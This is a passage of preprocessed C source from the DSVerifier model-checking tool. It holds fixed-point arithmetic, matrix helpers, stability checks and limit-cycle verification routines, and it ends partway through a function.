fxp_t wrap(fxp_t kX, fxp_t kLowerBound, fxp_t kUpperBound)
{
int32_t range_size = kUpperBound - kLowerBound + 1;
if (kX < kLowerBound){
kX += range_size * ((kLowerBound - kX) / range_size + 1);
}
return kLowerBound + (kX - kLowerBound) % range_size;
}
fxp_t fxp_get_int_part(fxp_t in) {
return ((in < 0) ? -((-in) & _fxp_imask) : in & _fxp_imask);
}
fxp_t fxp_get_frac_part(fxp_t in) {
return ((in < 0) ? -((-in) & _fxp_fmask) : in & _fxp_fmask);
}
float fxp_to_float(fxp_t fxp);
fxp_t fxp_quantize(fxp_t aquant) {
if (overflow_mode == 2) {
if(aquant < _fxp_min) {
return _fxp_min;
}
else if(aquant > _fxp_max) {
return _fxp_max;
}
}
else if (overflow_mode == 3) {
if(aquant < _fxp_min || aquant > _fxp_max) {
return wrap(aquant, _fxp_min, _fxp_max);
}
}
return (fxp_t) aquant;
}
void fxp_verify_overflow(fxp_t value){
fxp_quantize(value);
printf("An Overflow Occurred in system's output");
__DSVERIFIER_assert(value <= _fxp_max && value >= _fxp_min);
}
void fxp_verify_overflow_node(fxp_t value, char* msg){
if (1 == 2)
{
printf("%s",msg);
__DSVERIFIER_assert(value <= _fxp_max && value >= _fxp_min);
}
}
void fxp_verify_overflow_array(fxp_t array[], int n){
int i=0;
for(i=0; i<n;i++){
fxp_verify_overflow(array[i]);
}
}
fxp_t fxp_int_to_fxp(int in) {
fxp_t lin;
lin = (fxp_t) in*_fxp_one;
return lin;
}
int fxp_to_int(fxp_t fxp) {
if(fxp >= 0){
fxp += _fxp_half;
} else {
fxp -= _fxp_half;
}
fxp >>= impl.frac_bits;
return (int) fxp;
}
fxp_t fxp_float_to_fxp(float f) {
fxp_t tmp;
double ftemp;
ftemp = f * scale_factor[impl.frac_bits];
if(f >= 0) {
tmp = (fxp_t)(ftemp + 0.5);
}
else {
tmp = (fxp_t)(ftemp - 0.5);
}
return tmp;
}
fxp_t fxp_double_to_fxp(double value) {
fxp_t tmp;
double ftemp = value * scale_factor[impl.frac_bits];
if (rounding_mode == 0){
if(value >= 0) {
tmp = (fxp_t)(ftemp + 0.5);
}
else {
tmp = (fxp_t)(ftemp - 0.5);
}
} else if(rounding_mode == 1){
tmp = (fxp_t) ftemp;
double residue = ftemp - tmp;
if ((value < 0) && (residue != 0)){
ftemp = ftemp - 1;
tmp = (fxp_t) ftemp;
}
} else if (rounding_mode == 0){
tmp = (fxp_t) ftemp;
}
return tmp;
}
void fxp_float_to_fxp_array(float f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
r[i] = fxp_float_to_fxp(f[i]);
}
}
void fxp_double_to_fxp_array(double f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
r[i] = fxp_double_to_fxp(f[i]);
}
}
# 275 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
float fxp_to_float(fxp_t fxp) {
float f;
int f_int = (int) fxp;
f = f_int * scale_factor_inv[impl.frac_bits];
return f;
}
double fxp_to_double(fxp_t fxp) {
double f;
int f_int = (int) fxp;
f = f_int * scale_factor_inv[impl.frac_bits];
return f;
}
void fxp_to_float_array(float f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
f[i] = fxp_to_float(r[i]);
}
}
void fxp_to_double_array(double f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
f[i] = fxp_to_double(r[i]);
}
}
fxp_t fxp_abs(fxp_t a) {
fxp_t tmp;
tmp = ((a < 0) ? -(fxp_t)(a) : a);
tmp = fxp_quantize(tmp);
return tmp;
}
fxp_t fxp_add(fxp_t aadd, fxp_t badd) {
fxp_t tmpadd;
tmpadd = ((fxp_t)(aadd) + (fxp_t)(badd));
tmpadd = fxp_quantize(tmpadd);
return tmpadd;
}
fxp_t fxp_sub(fxp_t asub, fxp_t bsub) {
fxp_t tmpsub;
tmpsub = (fxp_t)((fxp_t)(asub) - (fxp_t)(bsub));
tmpsub = fxp_quantize(tmpsub);
return tmpsub;
}
fxp_t fxp_mult(fxp_t amult, fxp_t bmult) {
fxp_t tmpmult, tmpmultprec;
tmpmult = (fxp_t)((fxp_t)(amult)*(fxp_t)(bmult));
if (tmpmult >= 0) {
tmpmultprec = (tmpmult + ((tmpmult & 1 << (impl.frac_bits - 1)) << 1)) >> impl.frac_bits;
} else {
tmpmultprec = -(((-tmpmult) + (((-tmpmult) & 1 << (impl.frac_bits - 1)) << 1)) >> impl.frac_bits);
}
tmpmultprec = fxp_quantize(tmpmultprec);
return tmpmultprec;
}
# 372 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
fxp_t fxp_div(fxp_t a, fxp_t b){
__DSVERIFIER_assume( b!=0 );
fxp_t tmpdiv = ((a << impl.frac_bits) / b);
tmpdiv = fxp_quantize(tmpdiv);
return tmpdiv;
}
fxp_t fxp_neg(fxp_t aneg) {
fxp_t tmpneg;
tmpneg = -(fxp_t)(aneg);
tmpneg = fxp_quantize(tmpneg);
return tmpneg;
}
# 398 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
fxp_t fxp_sign(fxp_t a) {
return ((a == 0) ? 0 : ((a < 0) ? _fxp_minus_one : _fxp_one) );
}
fxp_t fxp_shrl(fxp_t in, int shift) {
return (fxp_t) (((unsigned int) in) >> shift);
}
fxp_t fxp_square(fxp_t a) {
return fxp_mult(a, a);
}
void fxp_print_int(fxp_t a) {
printf("\n%i", (int32_t)a);
}
void fxp_print_float(fxp_t a) {
printf("\n%f", fxp_to_float(a));
}
void fxp_print_float_array(fxp_t a[], int N) {
int i;
for(i = 0; i < N; ++i) {
printf("\n%f", fxp_to_float(a[i]));
}
}
void print_fxp_array_elements(char * name, fxp_t * v, int n){
printf("%s = {", name);
int i;
for(i=0; i < n; i++){
printf(" %jd ", v[i]);
}
printf("}\n");
}
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 1
# 24 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
void initialize_array(double v[], int n){
int i;
for(i=0; i<n; i++){
v[i] = 0;
}
}
void revert_array(double v[], double out[], int n){
initialize_array(out,n);
int i;
for(i=0; i<n; i++){
out[i] = v[n-i-1];
}
}
double internal_pow(double a, double b){
int i;
double acc = 1;
for (i=0; i < b; i++){
acc = acc*a;
}
return acc;
}
double internal_abs(double a){
return a < 0 ? -a : a;
}
int fatorial(int n){
return n == 0 ? 1 : n * fatorial(n-1);
}
int check_stability(double a[], int n){
int lines = 2 * n - 1;
int columns = n;
double m[lines][n];
int i,j;
double current_stability[n];
for (i=0; i < n; i++){
current_stability[i] = a[i];
}
double sum = 0;
for (i=0; i < n; i++){
sum += a[i];
}
if (sum <= 0){
printf("[DEBUG] the first constraint of Jury criteria failed: (F(1) > 0)");
return 0;
}
sum = 0;
for (i=0; i < n; i++){
sum += a[i] * internal_pow(-1, n-1-i);
}
sum = sum * internal_pow(-1, n-1);
if (sum <= 0){
printf("[DEBUG] the second constraint of Jury criteria failed: (F(-1)*(-1)^n > 0)");
return 0;
}
if (internal_abs(a[n-1]) > a[0]){
printf("[DEBUG] the third constraint of Jury criteria failed: (abs(a0) < a_{n}*z^{n})");
return 0;
}
for (i=0; i < lines; i++){
for (j=0; j < columns; j++){
m[i][j] = 0;
}
}
for (i=0; i < lines; i++){
for (j=0; j < columns; j++){
if (i == 0){
m[i][j] = a[j];
continue;
}
if (i % 2 != 0 ){
int x;
for(x=0; x<columns;x++){
m[i][x] = m[i-1][columns-x-1];
}
columns = columns - 1;
j = columns;
}else{
m[i][j] = m[i-2][j] - (m[i-2][columns] / m[i-2][0]) * m[i-1][j];
}
}
}
int first_is_positive = m[0][0] >= 0 ? 1 : 0;
for (i=0; i < lines; i++){
if (i % 2 == 0){
int line_is_positive = m[i][0] >= 0 ? 1 : 0;
if (first_is_positive != line_is_positive){
return 0;
}
continue;
}
}
return 1;
}
void poly_sum(double a[], int Na, double b[], int Nb, double ans[], int Nans){
int i;
Nans = Na>Nb? Na:Nb;
for (i=0; i<Nans; i++){
if (Na>Nb){
ans[i]=a[i];
if (i > Na-Nb-1){
ans[i]=ans[i]+b[i-Na+Nb];
}
}else {
ans[i]=b[i];
if (i> Nb - Na -1){
ans[i]=ans[i]+a[i-Nb+Na];
}
}
}
}
void poly_mult(double a[], int Na, double b[], int Nb, double ans[], int Nans){
int i;
int j;
int k;
Nans = Na+Nb-1;
for (i=0; i<Na; i++){
for (j=0; j<Nb; j++){
k= Na + Nb - i - j - 2;
ans[k]=0;
}
}
for (i=0; i<Na; i++){
for (j=0; j<Nb; j++){
k= Na + Nb - i - j - 2;
ans[k]=ans[k]+a[Na - i - 1]*b[Nb - j - 1];
}
}
}
void double_check_oscillations(double * y, int y_size){
__DSVERIFIER_assume(y[0] != y[y_size - 1]);
int window_timer = 0;
int window_count = 0;
int i, j;
for (i = 2; i < y_size; i++){
int window_size = i;
for(j=0; j<y_size; j++){
if (window_timer > window_size){
window_timer = 0;
window_count = 0;
}
int window_index = j + window_size;
if (window_index < y_size){
if (y[j] == y[window_index]){
window_count++;
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
((void) sizeof ((
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
!(window_count == window_size)
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
!(window_count == window_size)
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
) ; else __assert_fail (
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
"!(window_count == window_size)"
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h", 209, __extension__ __PRETTY_FUNCTION__); }))
# 209 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
;
}
}else{
break;
}
window_timer++;
}
}
}
void double_check_limit_cycle(double * y, int y_size){
double reference = y[y_size - 1];
int idx = 0;
int window_size = 1;
for(idx = (y_size-2); idx >= 0; idx--){
if (y[idx] != reference){
window_size++;
}else{
break;
}
}
__DSVERIFIER_assume(window_size != y_size && window_size != 1);
printf("window_size %d\n", window_size);
int desired_elements = 2 * window_size;
int found_elements = 0;
for(idx = (y_size-1); idx >= 0; idx--){
if (idx > (y_size-window_size-1)){
printf("%.0f == %.0f\n", y[idx], y[idx-window_size]);
int cmp_idx = idx - window_size;
if ((cmp_idx > 0) && (y[idx] == y[idx-window_size])){
found_elements = found_elements + 2;
}else{
break;
}
}
}
printf("desired_elements %d\n", desired_elements);
printf("found_elements %d\n", found_elements);
__DSVERIFIER_assert(desired_elements != found_elements);
}
void double_check_persistent_limit_cycle(double * y, int y_size){
int idy = 0;
int count_same = 0;
int window_size = 0;
double reference = y[0];
for(idy = 0; idy < y_size; idy++){
if (y[idy] != reference){
window_size++;
} else if (window_size != 0){
break;
} else {
count_same++;
}
}
window_size += count_same;
__DSVERIFIER_assume(window_size > 1 && window_size <= y_size/2);
double lco_elements[window_size];
for(idy = 0; idy < y_size; idy++){
if (idy < window_size){
lco_elements[idy] = y[idy];
}
}
idy = 0;
int lco_idy = 0;
_Bool is_persistent = 0;
while (idy < y_size){
if(y[idy++] == lco_elements[lco_idy++]){
is_persistent = 1;
}else{
is_persistent = 0;
break;
}
if (lco_idy == window_size){
lco_idy = 0;
}
}
__DSVERIFIER_assert(is_persistent == 0);
}
void print_array_elements(char * name, double * v, int n){
printf("%s = {", name);
int i;
for(i=0; i < n; i++){
printf(" %.32f ", v[i]);
}
printf("}\n");
}
void double_add_matrix( unsigned int lines, unsigned int columns, double m1[4][4], double m2[4][4], double result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
result[i][j] = m1[i][j] + m2[i][j];
}
}
}
void double_sub_matrix( unsigned int lines, unsigned int columns, double m1[4][4], double m2[4][4], double result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
result[i][j] = m1[i][j] - m2[i][j];
}
}
}
void double_matrix_multiplication( unsigned int i1, unsigned int j1, unsigned int i2, unsigned int j2, double m1[4][4], double m2[4][4], double m3[4][4]){
unsigned int i, j, k;
if (j1 == i2) {
for (i=0; i<i1; i++) {
for (j=0; j<j2; j++) {
m3[i][j] = 0;
}
}
for (i=0;i<i1; i++) {
for (j=0; j<j2; j++) {
for (k=0; k<j1; k++) {
double mult = (m1[i][k] * m2[k][j]);
m3[i][j] = m3[i][j] + (m1[i][k] * m2[k][j]);
}
}
}
} else {
printf("\nError! Operation invalid, please enter with valid matrices.\n");
}
}
void fxp_matrix_multiplication( unsigned int i1, unsigned int j1, unsigned int i2, unsigned int j2, fxp_t m1[4][4], fxp_t m2[4][4], fxp_t m3[4][4]){
unsigned int i, j, k;
if (j1 == i2) {
for (i=0; i<i1; i++) {
for (j=0; j<j2; j++) {
m3[i][j] = 0;
}
}
for (i=0;i<i1; i++) {
for (j=0; j<j2; j++) {
for (k=0; k<j1; k++) {
m3[i][j] = fxp_add( m3[i][j], fxp_mult(m1[i][k] , m2[k][j]));
}
}
}
} else {
printf("\nError! Operation invalid, please enter with valid matrices.\n");
}
}
void fxp_exp_matrix(unsigned int lines, unsigned int columns, fxp_t m1[4][4], unsigned int expNumber, fxp_t result[4][4]){
unsigned int i, j, l, k;
fxp_t m2[4][4];
if(expNumber == 0){
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
if(i == j){
result[i][j] = fxp_double_to_fxp(1.0);
} else {
result[i][j] = 0.0;
}
}
}
return;
}
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = m1[i][j];
if(expNumber == 1){
return;
}
for(l = 1; l < expNumber; l++){
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) m2[i][j] = result[i][j];
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = 0;
for (i=0;i<lines; i++) {
for (j=0; j<columns; j++) {
for (k=0; k<columns; k++) {
result[i][j] = fxp_add( result[i][j], fxp_mult(m2[i][k] , m1[k][j]));
}
}
}
}
}
void double_exp_matrix(unsigned int lines, unsigned int columns, double m1[4][4], unsigned int expNumber, double result[4][4]){
unsigned int i, j, k, l;
double m2[4][4];
if(expNumber == 0){
for (i = 0; i < lines; i++){
for (j = 0; j < columns; j++){
if(i == j){
result[i][j] = 1.0;
} else {
result[i][j] = 0.0;
}
}
}
return;
}
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = m1[i][j];
if(expNumber == 1){
return;
}
for(l = 1; l < expNumber; l++){
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) m2[i][j] = result[i][j];
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = 0;
for (i=0;i<lines; i++) {
for (j=0; j<columns; j++) {
for (k=0; k<columns; k++) {
result[i][j] = result[i][j] + (m2[i][k] * m1[k][j]);
}
}
}
}
}
void fxp_add_matrix( unsigned int lines, unsigned int columns, fxp_t m1[4][4], fxp_t m2[4][4], fxp_t result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) {
result[i][j] = fxp_add(m1[i][j] , m2[i][j]);
}
}
void fxp_sub_matrix( unsigned int lines, unsigned int columns, fxp_t m1[4][4], fxp_t m2[4][4], fxp_t result[4][4]){
unsigned int i, j;
for (i = 0; i < lines; i++)
for (j = 0; j < columns; j++) result[i][j] = fxp_sub(m1[i][j] , m2[i][j]);
}
void print_matrix(double matrix[4][4], unsigned int lines, unsigned int columns){
printf("\nMatrix\n=====================\n\n");
unsigned int i, j;
for (i=0; i<lines; i++) {
for (j=0; j<columns; j++) {
printf("#matrix[%d][%d]: %2.2f ", i,j,matrix[i][j]);
}
printf("\n");
}
printf("\n");
}
double determinant(double a[4][4],int n)
{
int i,j,j1,j2;
double det = 0;
double m[4][4];
if (n < 1) {
} else if (n == 1) {
det = a[0][0];
} else if (n == 2) {
det = a[0][0] * a[1][1] - a[1][0] * a[0][1];
} else {
det = 0;
for (j1=0;j1<n;j1++) {
for (i=0;i<n-1;i++)
for (i=1;i<n;i++) {
j2 = 0;
for (j=0;j<n;j++) {
if (j == j1)
continue;
m[i-1][j2] = a[i][j];
j2++;
}
}
det += internal_pow(-1.0,1.0+j1+1.0) * a[0][j1] * determinant(m,n-1);
}
}
return(det);
}
double fxp_determinant(fxp_t a_fxp[4][4],int n)
{
int i,j,j1,j2;
double a[4][4];
for(i=0; i<n;i++){
for(j=0; j<n;j++){
a[i][j]= fxp_to_double(a_fxp[i][j]);
}
}
double det = 0;
double m[4][4];
if (n < 1) {
} else if (n == 1) {
det = a[0][0];
} else if (n == 2) {
det = a[0][0] * a[1][1] - a[1][0] * a[0][1];
} else {
det = 0;
for (j1=0;j1<n;j1++) {
for (i=0;i<n-1;i++)
for (i=1;i<n;i++) {
j2 = 0;
for (j=0;j<n;j++) {
if (j == j1)
continue;
m[i-1][j2] = a[i][j];
j2++;
}
}
det += internal_pow(-1.0,1.0+j1+1.0) * a[0][j1] * determinant(m,n-1);
}
}
return(det);
}
void transpose(double a[4][4], double b[4][4],int n, int m)
{
int i,j;
for (i=0;i<n;i++) {
for (j=0;j<m;j++) {
b[j][i] = a[i][j];
}
}
}
void fxp_transpose(fxp_t a[4][4], fxp_t b[4][4],int n, int m)
{
int i,j;
for (i=0;i<n;i++) {
for (j=0;j<m;j++) {
b[j][i] = a[i][j];
}
}
}
# 24 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
extern int generic_timer;
extern hardware hw;
double generic_timing_shift_l_double(double zIn, double z[], int N) {
generic_timer += ((2 * hw.assembly.push) + (3 * hw.assembly.in) + (3 * hw.assembly.out) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli) + (8 * hw.assembly.std));
int i;
double zOut;
zOut = z[0];
generic_timer += ((5 * hw.assembly.ldd) + (2 * hw.assembly.mov) + (4 * hw.assembly.std) + (1 * hw.assembly.ld));
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (i = 0; i < N - 1; i++) {
generic_timer += ((17 * hw.assembly.ldd) + (4 * hw.assembly.lsl) + (4 * hw.assembly.rol) + (2 * hw.assembly.add) + (2 * hw.assembly.adc) + (6 * hw.assembly.mov) + (2 * hw.assembly.adiw) + (5 * hw.assembly.std) + (1 * hw.assembly.ld) + (1 * hw.assembly.st) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbc)+ (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brlt));
z[i] = z[i + 1];
}
z[N - 1] = zIn;
generic_timer += ((12 * hw.assembly.ldd) + (6 * hw.assembly.mov) + (3 * hw.assembly.std) + (2 * hw.assembly.lsl) + (2 * hw.assembly.rol) + (1 * hw.assembly.adc) + (1 * hw.assembly.add) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.st) + (1 * hw.assembly.adiw) + (1 * hw.assembly.in)+ (1 * hw.assembly.cli));
generic_timer += ((3 * hw.assembly.out) + (2 * hw.assembly.pop) + (1 * hw.assembly.ret));
return (zOut);
}
double generic_timing_shift_r_double(double zIn, double z[], int N) {
generic_timer += ((2 * hw.assembly.push) + (3 * hw.assembly.in) + (3 * hw.assembly.out) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli) + (8 * hw.assembly.std));
int i;
double zOut;
zOut = z[N - 1];
generic_timer += ((7 * hw.assembly.ldd) + (2 * hw.assembly.rol) + (2 * hw.assembly.lsl) + (2 * hw.assembly.mov) + (4 * hw.assembly.std) + (1 * hw.assembly.add) + (1 * hw.assembly.adc) + (1 * hw.assembly.ld) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci));
generic_timer += ((2 * hw.assembly.ldd) + (2 * hw.assembly.std) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.rjmp));
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
generic_timer += ((15 * hw.assembly.ldd) + (4 * hw.assembly.lsl) + (4 * hw.assembly.rol) + (2 * hw.assembly.add) + (2 * hw.assembly.adc) + (4 * hw.assembly.mov) + (5 * hw.assembly.std) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.ld) + (1 * hw.assembly.st) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brlt));
}
z[0] = zIn;
generic_timer += ((10 * hw.assembly.ldd) + (5 * hw.assembly.mov) + (3 * hw.assembly.std) + (3 * hw.assembly.out) + (2 * hw.assembly.pop) + (1 * hw.assembly.ret) + (1 * hw.assembly.ret) + (1 * hw.assembly.cli) + (1 * hw.assembly.in) + (1 * hw.assembly.st) + (1 * hw.assembly.adiw));
return zOut;
}
fxp_t shiftL(fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
fxp_t shiftR(fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
zOut = z[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
}
z[0] = zIn;
return zOut;
}
float shiftLfloat(float zIn, float z[], int N) {
int i;
float zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
float shiftRfloat(float zIn, float z[], int N) {
int i;
float zOut;
zOut = z[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
}
z[0] = zIn;
return zOut;
}
double shiftRDdouble(double zIn, double z[], int N) {
int i;
double zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
double shiftRdouble(double zIn, double z[], int N) {
int i;
double zOut;
zOut = z[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
}
z[0] = zIn;
return zOut;
}
double shiftLDouble(double zIn, double z[], int N) {
int i;
double zOut;
zOut = z[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
}
z[N - 1] = zIn;
return (zOut);
}
void shiftLboth(float zfIn, float zf[], fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
float zfOut;
zOut = z[0];
zfOut = zf[0];
for (i = 0; i < N - 1; i++) {
z[i] = z[i + 1];
zf[i] = zf[i + 1];
}
z[N - 1] = zIn;
zf[N - 1] = zfIn;
}
void shiftRboth(float zfIn, float zf[], fxp_t zIn, fxp_t z[], int N) {
int i;
fxp_t zOut;
float zfOut;
zOut = z[N - 1];
zfOut = zf[N - 1];
for (i = N - 1; i > 0; i--) {
z[i] = z[i - 1];
zf[i] = zf[i - 1];
}
z[0] = zIn;
zf[0] = zfIn;
}
int order(int Na, int Nb) {
return Na > Nb ? Na - 1 : Nb - 1;
}
void fxp_check_limit_cycle(fxp_t y[], int y_size){
fxp_t reference = y[y_size - 1];
int idx = 0;
int window_size = 1;
for(idx = (y_size-2); idx >= 0; idx--){
if (y[idx] != reference){
window_size++;
}else{
break;
}
}
__DSVERIFIER_assume(window_size != y_size && window_size != 1);
printf("window_size %d\n", window_size);
int desired_elements = 2 * window_size;
int found_elements = 0;
for(idx = (y_size-1); idx >= 0; idx--){
if (idx > (y_size-window_size-1)){
printf("%.0f == %.0f\n", y[idx], y[idx-window_size]);
int cmp_idx = idx - window_size;
if ((cmp_idx > 0) && (y[idx] == y[idx-window_size])){
found_elements = found_elements + 2;
}else{
break;
}
}
}
__DSVERIFIER_assume(found_elements > 0);
printf("desired_elements %d\n", desired_elements);
printf("found_elements %d\n", found_elements);
__DSVERIFIER_assume(found_elements == desired_elements);
__DSVERIFIER_assert(0);
}
void fxp_check_persistent_limit_cycle(fxp_t * y, int y_size){
int idy = 0;
int count_same = 0;
int window_size = 0;
fxp_t reference = y[0];
for(idy = 0; idy < y_size; idy++){
if (y[idy] != reference){
window_size++;
} else if (window_size != 0){
break;
} else {
count_same++;
}
}
window_size += count_same;
__DSVERIFIER_assume(window_size > 1 && window_size <= y_size/2);
fxp_t lco_elements[window_size];
for(idy = 0; idy < y_size; idy++){
if (idy < window_size){
lco_elements[idy] = y[idy];
}
}
idy = 0;
int lco_idy = 0;
_Bool is_persistent = 0;
while (idy < y_size){
if(y[idy++] == lco_elements[lco_idy++]){
is_persistent = 1;
}else{
is_persistent = 0;
break;
}
if (lco_idy == window_size){
lco_idy = 0;
}
}
__DSVERIFIER_assert(is_persistent == 0);
}
void fxp_check_oscillations(fxp_t y[] , int y_size){
__DSVERIFIER_assume((y[0] != y[y_size - 1]) && (y[y_size - 1] != y[y_size - 2]));
int window_timer = 0;
int window_count = 0;
int i, j;
for (i = 2; i < y_size; i++){
int window_size = i;
for(j=0; j<y_size; j++){
if (window_timer > window_size){
window_timer = 0;
window_count = 0;
}
int window_index = j + window_size;
if (window_index < y_size){
if (y[j] == y[window_index]){
window_count++;
__DSVERIFIER_assert(!(window_count == window_size));
}
}else{
break;
}
window_timer++;
}
}
}
int fxp_ln(int x) {
int t, y;
y = 0xa65af;
if (x < 0x00008000)
x <<= 16, y -= 0xb1721;
if (x < 0x00800000)
x <<= 8, y -= 0x58b91;
if (x < 0x08000000)
x <<= 4, y -= 0x2c5c8;
if (x < 0x20000000)
x <<= 2, y -= 0x162e4;
if (x < 0x40000000)
x <<= 1, y -= 0x0b172;
t = x + (x >> 1);
if ((t & 0x80000000) == 0)
x = t, y -= 0x067cd;
t = x + (x >> 2);
if ((t & 0x80000000) == 0)
x = t, y -= 0x03920;
t = x + (x >> 3);
if ((t & 0x80000000) == 0)
x = t, y -= 0x01e27;
t = x + (x >> 4);
if ((t & 0x80000000) == 0)
x = t, y -= 0x00f85;
t = x + (x >> 5);
if ((t & 0x80000000) == 0)
x = t, y -= 0x007e1;
t = x + (x >> 6);
if ((t & 0x80000000) == 0)
x = t, y -= 0x003f8;
t = x + (x >> 7);
if ((t & 0x80000000) == 0)
x = t, y -= 0x001fe;
x = 0x80000000 - x;
y -= x >> 15;
return y;
}
double fxp_log10_low(double x) {
int xint = (int) (x * 65536.0 + 0.5);
int lnum = fxp_ln(xint);
int lden = fxp_ln(655360);
return ((double) lnum / (double) lden);
}
double fxp_log10(double x) {
if (x > 32767.0) {
if (x > 1073676289.0) {
x = x / 1073676289.0;
return fxp_log10_low(x) + 9.030873362;
}
x = x / 32767.0;
return fxp_log10_low(x) + 4.515436681;
}
return fxp_log10_low(x);
}
float snrVariance(float s[], float n[], int blksz) {
int i;
double sm = 0, nm = 0, sv = 0, nv = 0, snr;
for (i = 0; i < blksz; i++) {
sm += s[i];
nm += n[i];
}
sm /= blksz;
nm /= blksz;
for (i = 0; i < blksz; i++) {
sv += (s[i] - sm) * (s[i] - sm);
nv += (n[i] - nm) * (n[i] - nm);
}
if (nv != 0.0f) {
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"sv >= nv"
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 373, __extension__ __PRETTY_FUNCTION__); }))
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
snr = sv / nv;
return snr;
} else {
return 9999.9f;
}
}
float snrPower(float s[], float n[], int blksz) {
int i;
double sv = 0, nv = 0, snr;
for (i = 0; i < blksz; i++) {
